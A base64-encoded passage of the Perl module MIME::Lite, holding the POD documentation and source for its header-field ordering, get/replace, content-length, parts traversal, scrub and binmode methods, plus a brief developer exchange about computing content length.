KCdmcm9tJywgJ3RvJywgJ2NvbnRlbnQtdHlwZScsICdzdWJqZWN0Jyk7CgpXaGVuIHVzZWQgYXMg YSBjbGFzcyBtZXRob2QsIGNoYW5nZXMgdGhlIGRlZmF1bHQgc2V0dGluZ3MgZm9yCmFsbCBvYmpl Y3RzOgoKICAgIE1JTUU6OkxpdGUtPmZpZWxkX29yZGVyKCdmcm9tJywgJ3RvJywgJ2NvbnRlbnQt dHlwZScsICdzdWJqZWN0Jyk7CgpDYXNlIGRvZXMgbm90IG1hdHRlcjogYWxsIGZpZWxkIG5hbWVz IHdpbGwgYmUgY29lcmNlZCB0byBsb3dlcmNhc2UuCkluIGVpdGhlciBjYXNlLCBzdXBwbHkgdGhl IGVtcHR5IGFycmF5IHRvIHJlc3RvcmUgdGhlIGRlZmF1bHQgb3JkZXJpbmcuCgo9Y3V0CgpzdWIg ZmllbGRfb3JkZXIgewogICAgbXkgJHNlbGYgPSBzaGlmdDsKICAgIGlmIChyZWYoJHNlbGYpKSB7 ICRzZWxmLT57RmllbGRPcmRlcn0gPSBbIG1hcCB7IGxjKCRfKSB9IEBfIF0gfQogICAgZWxzZSAg ICAgICAgICAgIHsgQEZpZWxkT3JkZXIgICAgICAgICA9ICAgbWFwIHsgbGMoJF8pIH0gQF8gfQp9 CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgo9aXRlbSBmaWVsZHMKCkk8SW5zdGFu Y2UgbWV0aG9kLj4KUmV0dXJuIHRoZSBmdWxsIGhlYWRlciBmb3IgdGhlIG9iamVjdCwgYXMgYSBy ZWYgdG8gYW4gYXJyYXkKb2YgQzxbVEFHLCBWQUxVRV0+IHBhaXJzLCB3aGVyZSBlYWNoIFRBRyBp cyBhbGwtbG93ZXJjYXNlLiAgCk5vdGUgdGhhdCBhbnkgZmllbGRzIHRoZSB1c2VyIGhhcyBleHBs aWNpdGx5IHNldCB3aWxsIG92ZXJyaWRlIHRoZSAKY29ycmVzcG9uZGluZyBNSU1FIGZpZWxkcyB0 aGF0IHdlIHdvdWxkIG90aGVyd2lzZSBnZW5lcmF0ZS4gIApTbywgZG9uJ3Qgc2F5Li4uCgogICAg JG1zZy0+c2V0KCJDb250ZW50LXR5cGUiID0+ICJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVMtQVNDSUki KTsKCnVubGVzcyB5b3Ugd2FudCB0aGUgYWJvdmUgdmFsdWUgdG8gb3ZlcnJpZGUgdGhlICJDb250 ZW50LXR5cGUiCk1JTUUgZmllbGQgdGhhdCB3ZSB3b3VsZCBub3JtYWxseSBnZW5lcmF0ZS4KCkk8 Tm90ZTo+IEkgY2FsbGVkIHRoaXMgImZpZWxkcyIgYmVjYXVzZSB0aGUgaGVhZGVyKCkgbWV0aG9k IG9mCk1haWw6OkhlYWRlciByZXR1cm5zIHNvbWV0aGluZyBkaWZmZXJlbnQsIGJ1dCBzaW1pbGFy IGVub3VnaCB0byAKYmUgY29uZnVzaW5nLgoKWW91IGNhbiBjaGFuZ2UgdGhlIG9yZGVyIG9mIHRo ZSBmaWVsZHM6IHNlZSBMPC9maWVsZF9vcmRlcj4uIApZb3UgcmVhbGx5IHNob3VsZG4ndCBuZWVk IHRvIGRvIHRoaXMsIGJ1dCBzb21lIHBlb3BsZSBoYXZlIHRvCmRlYWwgd2l0aCBicm9rZW4gbWFp bGVycy4KCj1jdXQKCnN1YiBmaWVsZHMgewogICAgbXkgJHNlbGYgPSBzaGlmdDsKICAgIG15IEBm aWVsZHM7CiAgICAKICAgICMjIyBHZXQgYSBsb29rdXAtaGFzaCBvZiBhbGwgKmV4cGxpY2l0bHkt Z2l2ZW4qIGZpZWxkczoKICAgIG15ICVleHBsaWNpdCA9IG1hcCB7ICRfLT5bMF0gPT4gMSB9IEB7 JHNlbGYtPntIZWFkZXJ9fTsKICAgIAogICAgIyMjIFN0YXJ0IHdpdGggYW55IE1JTUUgYXR0cmli dXRlcyBub3QgZ2l2ZW4gZXhwbGljaXRseToKICAgIG15ICR0YWc7CiAgICBmb3JlYWNoICR0YWcg KHNvcnQga2V5cyAleyRzZWxmLT57QXR0cnN9fSkgewkKCgkjIyMgU2tpcCBpZiBleHBsaWNpdDoK CW5leHQgaWYgKCRleHBsaWNpdHskdGFnfSk7ICAgICAgICAgCgoJIyMjIFNraXAgaWYgbm8gc3Vi dGFnczoKCW15IEBzdWJ0YWdzID0ga2V5cyAleyRzZWxmLT57QXR0cnN9eyR0YWd9fTsgCglAc3Vi dGFncyBvciBuZXh0OwoKCSMjIyBDcmVhdGUgc3RyaW5nOgoJbXkgJHZhbHVlOwoJZGVmaW5lZCgk dmFsdWUgPSAkc2VsZi0+e0F0dHJzfXskdGFnfXsnJ30pIG9yIG5leHQ7ICAjIyMgbmVlZCBkZWZh dWx0IAoJZm9yZWFjaCAoc29ydCBAc3VidGFncykgewoJICAgIG5leHQgaWYgKCRfIGVxICcnKTsK CSAgICAkdmFsdWUgLj0gcXF7OyAkXz0iJHNlbGYtPntBdHRyc317JHRhZ317JF99In07Cgl9CgkK CSMjIyBBZGQgdG8gcnVubmluZyBmaWVsZHM7CglwdXNoIEBmaWVsZHMsIFskdGFnLCAkdmFsdWVd OwogICAgfQogICAgCiAgICAjIyMgQWRkIHJlbWFpbmluZyBmaWVsZHMgKG5vdGUgdGhhdCB3ZSBk dXBsaWNhdGUgdGhlIGFycmF5IGZvciBzYWZldHkpOgogICAgZm9yZWFjaCAoQHskc2VsZi0+e0hl YWRlcn19KSB7CglwdXNoIEBmaWVsZHMsIFtAeyRffV07CiAgICB9CgogICAgIyMjIEZpbmFsIHN0 ZXA6IAogICAgIyMjIElmIGEgc3VnZ2VzdGVkIG9yZGVyaW5nIHdhcyBnaXZlbiwgd2UgInNvcnQi IGJ5IHRoYXQgb3JkZXJpbmcuCiAgICAjIyMgICAgVGhlIGlkZWEgaXMgdGhhdCB3ZSBnaXZlIGVh Y2ggZmllbGQgYSBudW1lcmljIHJhbmssIHdoaWNoIGlzCiAgICAjIyMgICAgKDEwMDAgKiBvcmRl cihmaWVsZCkpICsgb3JpZ3Bvc2l0aW9uLgogICAgbXkgQG9yZGVyID0gQHskc2VsZi0+e0ZpZWxk T3JkZXJ9IHx8IFtdfTsgICAgICAjIyMgb2JqZWN0LXNwZWNpZmljCiAgICBAb3JkZXIgb3IgQG9y ZGVyID0gQEZpZWxkT3JkZXI7ICAgICAgICAgICAgICAgICMjIyBubz8gbWF5YmUgZ2VuZXJpYwog ICAgaWYgKEBvcmRlcikgeyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIyMgZWl0 aGVyPwoKCSMjIyBDcmVhdGUgaGFzaCBtYXBwaW5nIGZpZWxkIG5hbWVzIHRvIDEtYmFzZWQgcmFu azoKCW15ICVyYW5rID0gbWFwIHskb3JkZXJbJF9dID0+ICgxKyRfKX0gKDAuLiQjb3JkZXIpOwoJ CgkjIyMgQ3JlYXRlIHBhcmFsbGVsIGFycmF5IHRvIEBmaWVsZHMsIGNhbGxlZCBAcmFua2VkLgoJ IyMjIEl0IGNvbnRhaW5zIGZpZWxkcyB0YWdnZWQgd2l0aCBudW1iZXJzIGxpa2UgMjAwMywgd2hl cmUgdGhlIAoJIyMjIDMgaXMgdGhlIG9yaWdpbmFsIDAtYmFzZWQgcG9zaXRpb24sIGFuZCAyMDAw IGluZGljYXRlcyB0aGF0IAoJIyMjIHdlIHdhbnRlZCB0aHMgdHlwZSBvZiBmaWVsZCB0byBnbyBz ZWNvbmQuCglteSBAcmFua2VkID0gbWFwIHsKCSAgICBbCgkgICAgICgkXyArIDEwMDAqKCRyYW5r e2xjKCRmaWVsZHNbJF9dWzBdKX0gfHwgKDIrJCNvcmRlcikpKSwKCSAgICAgJGZpZWxkc1skX10K CSAgICAgXQoJICAgIH0gKDAuLiQjZmllbGRzKTsgIAoJIyBmb3JlYWNoIChAcmFua2VkKSB7IAoJ IyAgICAgcHJpbnQgU1RERVJSICJSQU5LRUQ6ICRfLT5bMF0gJF8tPlsxXVswXSAkXy0+WzFdWzFd XG4iOwoJIyB9CgoJIyMjIFRoYXQgd2FzIGhhbGYgdGhlIFNjaHdhcnR6aWFuIHRyYW5zZm9ybS4g IEhlcmUncyB0aGUgcmVzdDoKCUBmaWVsZHMgPSBtYXAgeyAkXy0+WzFdIH0gCgkgICAgICAgICAg c29ydCB7ICRhLT5bMF0gPD0+ICRiLT5bMF0gfSAKCSAgICAgICAgICBAcmFua2VkOwogICAgfQoK ICAgICMjIyBEb25lIQogICAgcmV0dXJuIFxAZmllbGRzOwp9CgoKIy0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLQoKPWl0ZW0gZmlsZW5hbWUgW0ZJTEVOQU1FXQoKSTxJbnN0YW5jZSBtZXRo b2QuPgpTZXQgdGhlIGZpbGVuYW1lIHdoaWNoIHRoaXMgZGF0YSB3aWxsIGJlIHJlcG9ydGVkIGFz LgpUaGlzIGFjdHVhbGx5IHNldHMgYm90aCAic3RhbmRhcmQiIGF0dHJpYnV0ZXMuCgpXaXRoIG5v IGFyZ3VtZW50LCByZXR1cm5zIHRoZSBmaWxlbmFtZSBhcyBkaWN0YXRlZCBieSB0aGUgCmNvbnRl bnQtZGlzcG9zaXRpb24uCgo9Y3V0CgpzdWIgZmlsZW5hbWUgewogICAgbXkgKCRzZWxmLCAkZmls ZW5hbWUpID0gQF87CiAgICBpZiAoQF8gPiAxKSB7Cgkkc2VsZi0+YXR0cignY29udGVudC10eXBl Lm5hbWUnID0+ICRmaWxlbmFtZSk7Cgkkc2VsZi0+YXR0cignY29udGVudC1kaXNwb3NpdGlvbi5m aWxlbmFtZScgPT4gJGZpbGVuYW1lKTsKICAgIH0KICAgICRzZWxmLT5hdHRyKCdjb250ZW50LWRp c3Bvc2l0aW9uLmZpbGVuYW1lJyk7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0K Cj1pdGVtIGdldCBUQUcsW0lOREVYXQoKSTxJbnN0YW5jZSBtZXRob2QuPgpHZXQgdGhlIGNvbnRl bnRzIG9mIGZpZWxkIFRBRywgd2hpY2ggbWlnaHQgaGF2ZSBiZWVuIHNldCAKd2l0aCBzZXQoKSBv ciByZXBsYWNlKCkuICBSZXR1cm5zIHRoZSB0ZXh0IG9mIHRoZSBmaWVsZC4KCiAgICAkbWwtPmdl dCgnU3ViamVjdCcsIDApOwoKSWYgdGhlIG9wdGlvbmFsIDAtYmFzZWQgSU5ERVggaXMgZ2l2ZW4s IHRoZW4gd2UgcmV0dXJuIHRoZSBJTkRFWCd0aApvY2N1cmVuY2Ugb2YgZmllbGQgVEFHLiAgT3Ro ZXJ3aXNlLCB3ZSBsb29rIGF0IHRoZSBjb250ZXh0OgpJbiBhIHNjYWxhciBjb250ZXh0LCBvbmx5 IHRoZSBmaXJzdCAoMHRoKSBvY2N1cmVuY2Ugb2YgdGhlIApmaWVsZCBpcyByZXR1cm5lZDsgaW4g YW4gYXJyYXkgY29udGV4dCwgSTxhbGw+IG9jY3VyZW5jZXMgYXJlIHJldHVybmVkLiAgCgpJPFdh cm5pbmc6PiB0aGlzIHNob3VsZCBvbmx5IGJlIHVzZWQgd2l0aCBub24tTUlNRSBmaWVsZHMuCkJl aGF2aW9yIHdpdGggTUlNRSBmaWVsZHMgaXMgVEJELCBhbmQgd2lsbCByYWlzZSBhbiBleGNlcHRp b24gZm9yIG5vdy4KCj1jdXQKCnN1YiBnZXQgewogICAgbXkgKCRzZWxmLCAkdGFnLCAkaW5kZXgp ID0gQF87CiAgICAkdGFnID0gbGMoJHRhZyk7IAogICAgQ2FycDo6Y3JvYWsgImdldDogY2FuJ3Qg YmUgdXNlZCB3aXRoIE1JTUUgZmllbGRzXG4iIGlmIGlzX21pbWVfZmllbGQoJHRhZyk7CiAgICAK ICAgIG15IEBhbGwgPSBtYXAgeyAoJF8tPlswXSBlcSAkdGFnKSA/ICRfLT5bMV0gOiAoKX0gQHsk c2VsZi0+e0hlYWRlcn19OwogICAgKGRlZmluZWQoJGluZGV4KSA/ICRhbGxbJGluZGV4XSA6ICh3 YW50YXJyYXkgPyBAYWxsIDogJGFsbFswXSkpOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tCgo9aXRlbSBnZXRfbGVuZ3RoCgpJPEluc3RhbmNlIG1ldGhvZC4+ClJlY29tcHV0ZSB0 aGUgY29udGVudCBsZW5ndGggZm9yIHRoZSBtZXNzYWdlIEk8aWYgdGhlIHByb2Nlc3MgaXMgdHJp dmlhbD4sIApzZXR0aW5nIHRoZSAiY29udGVudC1sZW5ndGgiIGF0dHJpYnV0ZSBhcyBhIHNpZGUt ZWZmZWN0OgoKICAgICRtc2ctPmdldF9sZW5ndGg7CgpSZXR1cm5zIHRoZSBsZW5ndGgsIG9yIHVu ZGVmaW5lZCBpZiBub3Qgc2V0LgoKSTxOb3RlOj4gdGhlIGNvbnRlbnQgbGVuZ3RoIGNhbiBiZSBk aWZmaWN1bHQgdG8gY29tcHV0ZSwgc2luY2UgaXQgCmludm9sdmVzIGFzc2VtYmxpbmcgdGhlIGVu dGlyZSBlbmNvZGVkIGJvZHkgYW5kIHRha2luZyB0aGUgbGVuZ3RoCm9mIGl0ICh3aGljaCwgaW4g dGhlIGNhc2Ugb2YgbXVsdGlwYXJ0IG1lc3NhZ2VzLCBtZWFucyBmcmVlemluZwphbGwgdGhlIHN1 Yi1wYXJ0cywgZXRjLikuICAKClRoaXMgbWV0aG9kIG9ubHkgc2V0cyB0aGUgY29udGVudCBsZW5n dGggdG8gYSBkZWZpbmVkIHZhbHVlIGlmIHRoZQptZXNzYWdlIGlzIGEgc2luZ2xlcGFydCB3aXRo IEM8ImJpbmFyeSI+IGVuY29kaW5nLCBJPGFuZD4gdGhlIGJvZHkgaXMKYXZhaWxhYmxlIGVpdGhl ciBpbi1jb3JlIG9yIGFzIGEgc2ltcGxlIGZpbGUuICBPdGhlcndpc2UsIHRoZSBjb250ZW50Cmxl bmd0aCBpcyBzZXQgdG8gdGhlIHVuZGVmaW5lZCB2YWx1ZS4KClNpbmNlIGNvbnRlbnQtbGVuZ3Ro IGlzIG5vdCBhIHN0YW5kYXJkIE1JTUUgZmllbGQgYW55d2F5ICh0aGF0J3MgcmlnaHQsIGtpZHM6 Cml0J3Mgbm90IGluIHRoZSBNSU1FIFJGQ3MsIGl0J3MgYW4gSFRUUCB0aGluZyksIHRoaXMgc2Vl bXMgcHJldHR5IGZhaXIuCgo9Y3V0CgojLS0tLQojIE1pa28ncyBub3RlOiBJIHdhc24ndCBxdWl0 ZSBzdXJlIGhvdyB0byBoYW5kbGUgdGhpcywgc28gSSB3YWl0ZWQgdG8gaGVhciAKIyB3aGF0IHlv dSB0aGluay4gIEdpdmVuIHRoYXQgdGhlIGNvbnRlbnQtbGVuZ3RoIGlzbid0IGFsd2F5cyByZXF1 aXJlZCwgCiMgYW5kIGdpdmVuIHRoZSBwZXJmb3JtYW5jZSBjb3N0IG9mIGNhbGN1bGF0aW5nIGl0 IGZyb20gYSBmaWxlIGhhbmRsZSwKIyBJIHRob3VnaHQgaXQgbWlnaHQgbWFrZSBtb3JlIHNlbnNl IHRvIGFkZCBzb21lIHNvbWUgc29ydCBvZiBjb21wdXRlbGVuZ3RoIAojIHByb3BlcnR5LiBJZiBj b21wdXRlbGVuZ3RoIGlzIGZhbHNlLCB0aGVuIHRoZSBsZW5ndGggc2ltcGx5IGlzbid0IAojIGNv bXB1dGVkLiAgV2hhdCBkbyB5b3UgdGhpbms/CiMKIyBFcnlxJ3MgcmVwbHk6ICBJIGFncmVlOyBm b3Igbm93LCB3ZSBjYW4gc2lsZW50bHkgbGVhdmUgb3V0IHRoZSBjb250ZW50LXR5cGUuCgpzdWIg Z2V0X2xlbmd0aCB7CiAgICBteSAkc2VsZiA9IHNoaWZ0OwoKICAgIG15ICRpc19tdWx0aXBhcnQg PSAoJHNlbGYtPmF0dHIoJ2NvbnRlbnQtdHlwZScpID1+IG17Xm11bHRpcGFydC99aSk7CiAgICBt eSAkZW5jID0gbGMoJHNlbGYtPmF0dHIoJ2NvbnRlbnQtdHJhbnNmZXItZW5jb2RpbmcnKSB8fCAn YmluYXJ5Jyk7CiAgICBteSAkbGVuZ3RoOwogICAgaWYgKCEkaXNfbXVsdGlwYXJ0ICYmICgkZW5j IGVxICJiaW5hcnkiKSl7ICAjIyMgbWlnaHQgZmlndXJlIGl0IG91dCBjaGVhcDoKCWlmICAgIChk ZWZpbmVkKCRzZWxmLT57RGF0YX0pKSB7ICAgICAgICAgICAgICAgIyMjIGl0J3MgaW4gY29yZQoJ ICAgICRsZW5ndGggPSBsZW5ndGgoJHNlbGYtPntEYXRhfSk7Cgl9CgllbHNpZiAoZGVmaW5lZCgk c2VsZi0+e0ZIfSkpIHsgICAgICAgICAgICAgICAgICMjIyBpdCdzIGluIGEgZmlsZWhhbmRsZQoJ ICAgICMjIyBuby1vcDogaXQncyBleHBlbnNpdmUsIHNvIGRvbid0IGJvdGhlcgoJfQoJZWxzaWYg KGRlZmluZWQoJHNlbGYtPntQYXRofSkpIHsgICAgICAgICAgICAgICAjIyMgaXQncyBhIHNpbXBs ZSBmaWxlIQoJICAgICRsZW5ndGggPSAoLXMgJHNlbGYtPntQYXRofSkgICBpZiAoLWUgJHNlbGYt PntQYXRofSk7Cgl9CiAgICB9CiAgICAkc2VsZi0+YXR0cignY29udGVudC1sZW5ndGgnID0+ICRs ZW5ndGgpOwogICAgcmV0dXJuICRsZW5ndGg7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0KCj1pdGVtIHBhcnRzCgpJPEluc3RhbmNlIG1ldGhvZC4+ClJldHVybiB0aGUgcGFydHMg b2YgdGhpcyBlbnRpdHksIGFuZCB0aGlzIGVudGl0eSBvbmx5LgpSZXR1cm5zIGVtcHR5IGFycmF5 IGlmIHRoaXMgZW50aXR5IGhhcyBubyBwYXJ0cy4KClRoaXMgaXMgQjxub3Q+IHJlY3Vyc2l2ZSEg IFBhcnRzIGNhbiBoYXZlIHN1Yi1wYXJ0czsgdXNlCnBhcnRzX0RGUygpIHRvIGdldCBldmVyeXRo aW5nLgoKPWN1dAoKc3ViIHBhcnRzIHsKICAgIG15ICRzZWxmID0gc2hpZnQ7CiAgICBAeyRzZWxm LT57UGFydHN9IHx8IFtdfTsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKPWl0 ZW0gcGFydHNfREZTCgpJPEluc3RhbmNlIG1ldGhvZC4+ClJldHVybiB0aGUgbGlzdCBvZiBhbGwg TUlNRTo6TGl0ZSBvYmplY3RzIGluY2x1ZGVkIGluIHRoZSBlbnRpdHksCnN0YXJ0aW5nIHdpdGgg dGhlIGVudGl0eSBpdHNlbGYsIGluIGRlcHRoLWZpcnN0LXNlYXJjaCBvcmRlci4gIApJZiB0aGlz IG9iamVjdCBoYXMgbm8gcGFydHMsIGl0IGFsb25lIHdpbGwgYmUgcmV0dXJuZWQuCgo9Y3V0Cgpz dWIgcGFydHNfREZTIHsKICAgIG15ICRzZWxmID0gc2hpZnQ7CiAgICByZXR1cm4gKCRzZWxmLCBt YXAgeyAkXy0+cGFydHNfREZTIH0gJHNlbGYtPnBhcnRzKTsKfQoKIy0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLQoKPWl0ZW0gcHJlYW1ibGUgW1RFWFRdCgpJPEluc3RhbmNlIG1ldGhvZC4+ CkdldC9zZXQgdGhlIHByZWFtYmxlIHN0cmluZywgYXNzdW1pbmcgdGhhdCB0aGlzIG9iamVjdCBo YXMgc3VicGFydHMuClNldCBpdCB0byB1bmRlZiBmb3IgdGhlIGRlZmF1bHQgc3RyaW5nLgoKPWN1 dAoKc3ViIHByZWFtYmxlIHsKICAgIG15ICRzZWxmID0gc2hpZnQ7CiAgICAkc2VsZi0+e1ByZWFt YmxlfSA9IHNoaWZ0IGlmIEBfOwogICAgJHNlbGYtPntQcmVhbWJsZX07Cn0KCiMtLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0KCj1pdGVtIHJlcGxhY2UgVEFHLFZBTFVFCgpJPEluc3RhbmNl IG1ldGhvZC4+CkRlbGV0ZSBhbGwgb2NjdXJlbmNlcyBvZiBmaWVsZHMgbmFtZWQgVEFHLCBhbmQg YWRkIGEgbmV3CmZpZWxkIHdpdGggdGhlIGdpdmVuIFZBTFVFLiAgVEFHIGlzIGNvbnZlcnRlZCB0 byBhbGwtbG93ZXJjYXNlLgoKQjxCZXdhcmU+IHRoZSBzcGVjaWFsIE1JTUUgZmllbGRzIChNSU1F LXZlcnNpb24sIENvbnRlbnQtKik6CmlmIHlvdSAicmVwbGFjZSIgYSBNSU1FIGZpZWxkLCB0aGUg cmVwbGFjZW1lbnQgdGV4dCB3aWxsIG92ZXJyaWRlIAp0aGUgSTxhY3R1YWw+IE1JTUUgYXR0cmli dXRlcyB3aGVuIGl0IGNvbWVzIHRpbWUgdG8gb3V0cHV0IHRoYXQgZmllbGQuClNvIG5vcm1hbGx5 IHlvdSB1c2UgYXR0cigpIHRvIGNoYW5nZSBNSU1FIGZpZWxkcyBhbmQgYWRkKCkvcmVwbGFjZSgp IHRvIApjaGFuZ2UgSTxub24tTUlNRT4gZmllbGRzOgoKICAgICRtc2ctPnJlcGxhY2UoIlN1Ympl Y3QiID0+ICJIaSB0aGVyZSEiKTsKCkdpdmluZyBWQUxVRSBhcyB0aGUgSTxlbXB0eSBzdHJpbmc+ IHdpbGwgZWZmZWN0aXZlbHkgSTxwcmV2ZW50PiB0aGF0CmZpZWxkIGZyb20gYmVpbmcgb3V0cHV0 LiAgVGhpcyBpcyB0aGUgY29ycmVjdCB3YXkgdG8gc3VwcHJlc3MKdGhlIHNwZWNpYWwgTUlNRSBm aWVsZHM6ICAgIAoKICAgICRtc2ctPnJlcGxhY2UoIkNvbnRlbnQtZGlzcG9zaXRpb24iID0+ICIi KTsKCkdpdmluZyBWQUxVRSBhcyBJPHVuZGVmaW5lZD4gd2lsbCBqdXN0IGNhdXNlIGFsbCBleHBs aWNpdCB2YWx1ZXMKZm9yIFRBRyB0byBiZSBkZWxldGVkLCB3aXRob3V0IGhhdmluZyBhbnkgbmV3 IHZhbHVlcyBhZGRlZC4KCkk8Tm90ZTo+IHRoZSBuYW1lIG9mIHRoaXMgbWV0aG9kICBjb21lcyBm cm9tIE1haWw6OkhlYWRlci4KCj1jdXQKCnN1YiByZXBsYWNlIHsKICAgIG15ICgkc2VsZiwgJHRh ZywgJHZhbHVlKSA9IEBfOwogICAgJHNlbGYtPmRlbGV0ZSgkdGFnKTsKICAgICRzZWxmLT5hZGQo JHRhZywgJHZhbHVlKSBpZiBkZWZpbmVkKCR2YWx1ZSk7Cn0KCgojLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tCgo9aXRlbSBzY3J1YgoKSTxJbnN0YW5jZSBtZXRob2QuPgpCPFRoaXMgaXMg QWxwaGEgY29kZS4gIElmIHlvdSB1c2UgaXQsIHBsZWFzZSBsZXQgbWUga25vdyBob3cgaXQgZ29l cy4+ClJlY3Vyc2l2ZWx5IGdvZXMgdGhyb3VnaCB0aGUgInBhcnRzIiB0cmVlIG9mIHRoaXMgbWVz c2FnZSBhbmQgdHJpZXMgCnRvIGZpbmQgTUlNRSBhdHRyaWJ1dGVzIHRoYXQgY2FuIGJlIHJlbW92 ZWQuIApXaXRoIGFuIGFycmF5IGFyZ3VtZW50LCByZW1vdmVzIGV4YWN0bHkgdGhvc2UgYXR0cmli dXRlczsgZS5nLjoKCiAgICAkbXNnLT5zY3J1YihbJ2NvbnRlbnQtZGlzcG9zaXRpb24nLCAnY29u dGVudC1sZW5ndGgnXSk7CgpJcyB0aGUgc2FtZSBhcyByZWN1cnNpdmVseSBkb2luZzoKCiAgICAk bXNnLT5yZXBsYWNlKCdDb250ZW50LWRpc3Bvc2l0aW9uJyA9PiAnJyk7CiAgICAkbXNnLT5yZXBs YWNlKCdDb250ZW50LWxlbmd0aCcgICAgICA9PiAnJyk7Cgo9Y3V0CgpzdWIgc2NydWIgewogICAg bXkgKCRzZWxmLCBAYSkgPSBAXzsKICAgIG15ICgkZXhwbCkgPSBAYTsKICAgIGxvY2FsICRRVUlF VCA9IDE7CgogICAgIyMjIFNjcnViIG1lOgogICAgaWYgKCFAYSkgeyAgICAgICAgICMjIyBndWVz cwoKCSMjIyBTY3J1YiBsZW5ndGggYWx3YXlzOgoJJHNlbGYtPnJlcGxhY2UoJ2NvbnRlbnQtbGVu Z3RoJywgJycpOwoKCSMjIyBTY3J1YiBkaXNwb3NpdGlvbiBpZiBubyBmaWxlbmFtZSwgb3IgaWYg Y29udGVudC10eXBlIGhhcyBzYW1lIGluZm86CglpZiAoISRzZWxmLT5fc2FmZV9hdHRyKCdjb250 ZW50LWRpc3Bvc2l0aW9uLmZpbGVuYW1lJykgfHwKCSAgICAkc2VsZi0+X3NhZmVfYXR0cignY29u dGVudC10eXBlLm5hbWUnKSkgewoJICAgICRzZWxmLT5yZXBsYWNlKCdjb250ZW50LWRpc3Bvc2l0 aW9uJywgJycpOwoJfQoKCSMjIyBTY3J1YiBlbmNvZGluZyBpZiBlZmZlY3RpdmVseSB1bmVuY29k ZWQ6CglpZiAoJHNlbGYtPl9zYWZlX2F0dHIoJ2NvbnRlbnQtdHJhbnNmZXItZW5jb2RpbmcnKSA9 fgoJICAgIC9eKDdiaXR8OGJpdHxiaW5hcnkpJC9pKSB7CgkgICAgJHNlbGYtPnJlcGxhY2UoJ2Nv bnRlbnQtdHJhbnNmZXItZW5jb2RpbmcnLCAnJyk7Cgl9CgoJIyMjIFNjcnViIGNoYXJzZXQgaWYg VVMtQVNDSUk6CglpZiAoJHNlbGYtPl9zYWZlX2F0dHIoJ2NvbnRlbnQtdHlwZS5jaGFyc2V0Jykg PX4gL14odXMtYXNjaWkpL2kpIHsKCSAgICAkc2VsZi0+YXR0cignY29udGVudC10eXBlLmNoYXJz ZXQnID0+IHVuZGVmKTsKCX0KCgkjIyMgVEJEOiB0aGlzIGlzIG5vdCByZWFsbHkgcmlnaHQgZm9y IG1lc3NhZ2UvZGlnZXN0OgoJaWYgKChrZXlzICV7JHNlbGYtPntBdHRyc317J2NvbnRlbnQtdHlw ZSd9fSA9PSAxKSBhbmQKCSAgICAoJHNlbGYtPl9zYWZlX2F0dHIoJ2NvbnRlbnQtdHlwZScpIGVx ICd0ZXh0L3BsYWluJykpIHsKCSAgICAkc2VsZi0+cmVwbGFjZSgnY29udGVudC10eXBlJywgJycp OwoJfQogICAgfQogICAgZWxzaWYgKCRleHBsIGFuZCAocmVmKCRleHBsKSBlcSAnQVJSQVknKSkg ewoJZm9yZWFjaCAoQHskZXhwbH0pIHsgJHNlbGYtPnJlcGxhY2UoJF8sICcnKTsgfQogICAgfQoK ICAgICMjIyBTY3J1YiBteSBraWRzOgogICAgZm9yZWFjaCAoQHskc2VsZi0+e1BhcnRzfX0pIHsg JF8tPnNjcnViKEBhKTsgfQp9Cgo9YmFjawoKPWN1dAoKCiM9PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKPWhlYWQyIFNldHRpbmcv Z2V0dGluZyBtZXNzYWdlIGRhdGEKCj1vdmVyIDQKCj1jdXQKCiMtLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0KCj1pdGVtIGJpbm1vZGUgW09WRVJSSURFXQoKSTxJbnN0YW5jZSBtZXRob2Qu PgpXaXRoIG5vIGFyZ3VtZW50LCByZXR1cm5zIHdoZXRoZXIgb3Igbm90IGl0IHRoaW5rcyB0aGF0 IHRoZSBkYXRhIAooYXMgZ2l2ZW4gYnkgdGhlICJQYXRoIiBhcmd1bWVudCBvZiBDPGJ1aWxkKCk+ KSBzaG91bGQgYmUgcmVhZCB1c2luZyAKYmlubW9kZSgpIChmb3IgZXhhbXBsZSwgd2hlbiBDPHJl YWRfbm93KCk+IGlzIGludm9rZWQpLgoKVGhlIGRlZmF1bHQgYmVoYXZpb3IgaXMgdGhhdCBhbnkg Y29udGVudCB0eXBlIG90aGVyIHRoYW4gCkM8dGV4dC8qPiBvciBDPG1lc3NhZ2UvKj4gaXMgYmlu bW9kZSdkOyB0aGlzIHNob3VsZCBpbiBnZW5lcmFsIHdvcmsgZmluZS4KCldpdGggYSBkZWZpbmVk IGFyZ3VtZW50LCB0aGlzIG1ldGhvZCBzZXRzIGFuIGV4cGxpY2l0ICJvdmVycmlkZSIKdmFsdWUu ICBBbiB1bmRlZmluZWQgYXJndW1lbnQgdW5zZXRzIHRoZSBvdmVycmlkZS4KVGhlIG5ldyBjdXJy ZW50IHZhbHVlIGlzIHJldHVybmVkLgoKPWN1dAoKc3ViIGJpbm1vZGUgewogICAgbXkgJHNlbGYg PSBzaGlmdDsKICAgICRzZWxmLT57QmlubW9kZX0gPSBzaGlmdCBpZiAoQF8pOyAgICAgICAjIyMg YXJndW1lbnQ/IHNldCBvdmVycmlkZQogICAgcmV0dXJuIChkZWZpbmVkKCRzZWxmLT57QmlubW9k ZX0pIAoJICAgID8gJHNlbGYtPntCaW5tb2RlfQoJICAgIDogKCRzZWxmLT5hdHRyKCJjb250ZW50 LXR5cGUiKSAhfiBte14odGV4dHxtZXNzYWdlKS99aSkpOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tCgo9aXRlbSBkYXRhIFtEQVRBXQoKSTxJbnN0YW5jZSBtZXRob2QuPgpHZXQv 